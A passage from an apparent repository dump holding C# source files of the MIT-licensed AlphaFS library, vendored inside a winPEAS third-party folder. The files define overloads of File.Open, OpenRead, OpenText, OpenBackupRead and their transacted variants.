security)\n      {\n         return OpenCore(null, path, mode, rights, share, (ExtendedFileAttributes)options, bufferSize, security, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">Extended attributes specifying additional options.</param>\n      /// <param name=\"security\">A value that determines the access control and audit security for the file.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, FileSecurity security)\n      {\n         return OpenCore(null, path, mode, rights, share, extendedAttributes, bufferSize, security, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">Extended attributes specifying additional options.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, rights, share, extendedAttributes, bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified  creation mode, access rights and sharing permission, the buffer size, additional file options, access control and audit security.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <param name=\"security\">A value that determines the access control and audit security for the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, FileSecurity security, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, security, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a <see cref=\"FileStream\"/> on the specified path using the specified  creation mode, access rights and sharing permission, the buffer size, additional file options, access control and audit security.</summary>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">Extended attributes specifying additional options.</param>\n      /// <param name=\"security\">A value that determines the access control and audit security for the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, FileSecurity security, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, mode, rights, share, extendedAttributes, bufferSize, security, pathFormat);\n      }\n\n      #endregion // Using FileSystemRights\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenBackupRead.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Opens the specified file for reading purposes bypassing security attributes.</summary>\n      /// <param name=\"path\">The file path to open.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"FileStream\"/> on the specified path, having the read-only mode and sharing options.</returns>\n      [SecurityCritical]\n      public static FileStream OpenBackupRead(string path, PathFormat pathFormat)\n      {\n         return OpenCore(null, path, FileMode.Open, FileSystemRights.ReadData, FileShare.None, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.SequentialScan | ExtendedFileAttributes.ReadOnly, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens the specified file for reading purposes bypassing security attributes. This method is simpler to use then BackupFileStream to read only file's data stream.</summary>\n      /// <param name=\"path\">The file path to open.</param>\n      /// <returns>A <see cref=\"FileStream\"/> on the specified path, having the read-only mode and sharing options.</returns>      \n      [SecurityCritical]\n      public static FileStream OpenBackupRead(string path)\n      {\n         return OpenCore(null, path, FileMode.Open, FileSystemRights.ReadData, FileShare.None, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.SequentialScan | ExtendedFileAttributes.ReadOnly, null, null, PathFormat.RelativePath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenBackupReadTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Opens the specified file for reading purposes bypassing security attributes.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file path to open.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"FileStream\"/> on the specified path, having the read-only mode and sharing options.</returns>\n      [SecurityCritical]\n      public static FileStream OpenBackupReadTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, FileMode.Open, FileSystemRights.ReadData, FileShare.None, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.SequentialScan | ExtendedFileAttributes.ReadOnly, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Opens the specified file for reading purposes bypassing security attributes.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file path to open.</param>\n      /// <returns>A <see cref=\"FileStream\"/> on the specified path, having the read-only mode and sharing options.</returns>\n      [SecurityCritical]\n      public static FileStream OpenBackupReadTransacted(KernelTransaction transaction, string path)\n      {\n         return OpenCore(transaction, path, FileMode.Open, FileSystemRights.ReadData, FileShare.None, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.SequentialScan | ExtendedFileAttributes.ReadOnly, null, null, PathFormat.RelativePath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenRead.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing FileStream = System.IO.FileStream;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Opens an existing file for reading.</summary>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <returns>A read-only <see cref=\"FileStream\"/> on the specified path.</returns>\n      /// <remarks>\n      ///   This method is equivalent to the <see cref=\"FileStream\"/>(string, FileMode, FileAccess, FileShare) constructor overload with a\n      ///   <see cref=\"FileMode\"/> value of Open, a <see cref=\"FileAccess\"/> value of Read and a <see cref=\"FileShare\"/> value of Read.\n      /// </remarks>\n      [SecurityCritical]\n      public static FileStream OpenRead(string path)\n      {\n         return Open(path, FileMode.Open, FileAccess.Read, FileShare.Read);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Opens an existing file for reading.</summary>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A read-only <see cref=\"FileStream\"/> on the specified path.</returns>\n      /// <remarks>\n      ///   This method is equivalent to the <see cref=\"FileStream\"/>(string, FileMode, FileAccess, FileShare) constructor overload with a\n      ///   <see cref=\"FileMode\"/> value of Open, a <see cref=\"FileAccess\"/> value of Read and a <see cref=\"FileShare\"/> value of Read.\n      /// </remarks>\n      [SecurityCritical]\n      public static FileStream OpenRead(string path, PathFormat pathFormat)\n      {\n         return Open(path, FileMode.Open, FileAccess.Read, FileShare.Read, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenReadTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing FileStream = System.IO.FileStream;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Opens an existing file for reading.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <returns>A read-only <see cref=\"FileStream\"/> on the specified path.</returns>\n      /// <remarks>\n      ///   This method is equivalent to the <see cref=\"FileStream\"/>(string, FileMode, FileAccess, FileShare) constructor overload with a\n      ///   <see cref=\"FileMode\"/> value of Open, a <see cref=\"FileAccess\"/> value of Read and a <see cref=\"FileShare\"/> value of Read.\n      /// </remarks>\n      [SecurityCritical]\n      public static FileStream OpenReadTransacted(KernelTransaction transaction, string path)\n      {\n         return OpenTransacted(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read);\n      }\n\n\n      /// <summary>[AlphaFS] Opens an existing file for reading.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A read-only <see cref=\"FileStream\"/> on the specified path.</returns>\n      /// <remarks>\n      ///   This method is equivalent to the <see cref=\"FileStream\"/>(string, FileMode, FileAccess, FileShare) constructor overload with a\n      ///   <see cref=\"FileMode\"/> value of Open, a <see cref=\"FileAccess\"/> value of Read and a <see cref=\"FileShare\"/> value of Read.\n      /// </remarks>\n      [SecurityCritical]\n      public static FileStream OpenReadTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return OpenTransacted(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenText.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Opens an existing UTF-8 encoded text file for reading.</summary>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <returns>A <see cref=\"StreamReader\"/> on the specified path.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"StreamReader\"/>(String) constructor overload.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamReader OpenText(string path)\n      {\n         return new StreamReader(OpenRead(path), NativeMethods.DefaultFileEncoding);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Opens an existing UTF-8 encoded text file for reading.</summary>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"StreamReader\"/> on the specified path.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"StreamReader\"/>(String) constructor overload.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamReader OpenText(string path, PathFormat pathFormat)\n      {\n         return new StreamReader(OpenRead(path, pathFormat), NativeMethods.DefaultFileEncoding);\n      }\n\n\n      /// <summary>[AlphaFS] Opens an existing <see cref=\"Encoding\"/> encoded text file for reading.</summary>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"StreamReader\"/> on the specified path.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"StreamReader\"/>(String) constructor overload.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamReader OpenText(string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return new StreamReader(OpenRead(path, pathFormat), encoding);\n      }\n\n\n      /// <summary>[AlphaFS] Opens an existing <see cref=\"Encoding\"/> encoded text file for reading.</summary>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <returns>A <see cref=\"StreamReader\"/> on the specified path.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"StreamReader\"/>(String) constructor overload.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamReader OpenText(string path, Encoding encoding)\n      {\n         return new StreamReader(OpenRead(path), encoding);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenTextTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Opens an existing UTF-8 encoded text file for reading.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <returns>A <see cref=\"StreamReader\"/> on the specified path.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"StreamReader\"/>(String) constructor overload.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      public static StreamReader OpenTextTransacted(KernelTransaction transaction, string path)\n      {\n         return new StreamReader(OpenReadTransacted(transaction, path), NativeMethods.DefaultFileEncoding);\n      }\n\n\n      /// <summary>[AlphaFS] Opens an existing UTF-8 encoded text file for reading.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"StreamReader\"/> on the specified path.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"StreamReader\"/>(String) constructor overload.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      public static StreamReader OpenTextTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return new StreamReader(OpenReadTransacted(transaction, path, pathFormat), NativeMethods.DefaultFileEncoding);\n      }\n\n\n      /// <summary>[AlphaFS] Opens an existing <see cref=\"Encoding\"/> encoded text file for reading.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <returns>A <see cref=\"StreamReader\"/> on the specified path.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"StreamReader\"/>(String) constructor overload.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      public static StreamReader OpenTextTransacted(KernelTransaction transaction, string path, Encoding encoding)\n      {\n         return new StreamReader(OpenReadTransacted(transaction, path), encoding);\n      }\n\n\n      /// <summary>[AlphaFS] Opens an existing <see cref=\"Encoding\"/> encoded text file for reading.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"StreamReader\"/> on the specified path.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"StreamReader\"/>(String) constructor overload.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      public static StreamReader OpenTextTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return new StreamReader(OpenReadTransacted(transaction, path, pathFormat), encoding);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing FileStream = System.IO.FileStream;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path with read/write access.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <returns>A <see cref=\"FileStream\"/> opened in the specified mode and path, with read/write access and not shared.</returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode)\n      {\n         return OpenCore(transaction, path, mode, mode == FileMode.Append ? FileAccess.Write : FileAccess.ReadWrite, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path with read/write access.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"FileStream\"/> opened in the specified mode and path, with read/write access and not shared.</returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, mode == FileMode.Append ? FileAccess.Write : FileAccess.ReadWrite, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat);\n      }\n\n\n      #region Using FileAccess\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path, with the specified mode and access.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <param 